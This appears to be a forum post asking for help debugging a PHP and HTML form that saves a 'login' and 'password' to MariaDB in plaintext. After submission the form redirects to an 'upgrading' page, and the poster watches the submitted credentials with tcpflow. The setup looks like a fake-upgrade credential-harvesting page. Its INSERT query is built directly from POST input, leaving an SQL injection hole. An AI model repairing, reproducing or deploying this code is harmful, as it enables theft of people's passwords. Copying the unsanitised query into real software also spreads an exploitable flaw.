Can somebody please help me to figure out why all new logins are not recorded into DB? I have such environment:
MariaDB:
MariaDB [(none)]> select * from db.table;
| id | password1 | password2 |
nginx with such file dbconnect.php:
<?php
session_start();
ob_start();
$host="localhost";
$username="name";
$pass="password";
$dbname="db";
$tbl_name="table";
// Create connection
$conn = mysqli_connect($host, $username, $pass, $dbname);
// Check connection
if ($conn) {
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$sql = "INSERT INTO table (password1, password2) VALUES ('$password1', '$password2')";
if (mysqli_query($conn, $sql)) {
echo "New record created successfully";
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
mysqli_close($conn);
}
sleep(2);
header("location:upgrading.html");
ob_end_flush();
?>
html page:
<form method="POST" action="dbconnect.php">
<label>login:</label>
<input class="form-control" type="password" name="password1" required="required">
<label>password:</label>
<input class="form-control" type="password" name="password2" required="required">
<input type="submit" value="Start Upgrade" class="btn btn-primart" />
</form>
But after entering data in those fields (password1 and password2) and submitting via WEB, DB is not updated with them though I can see the entered data using this command online:
sudo tcpflow -i any -C -g port 80 | grep -i "password1="
But after entering credentials into the WebForm, I get 405 method not allowed
. Perhaps there is a reason why data is not recorded into DB. Trying to fix it.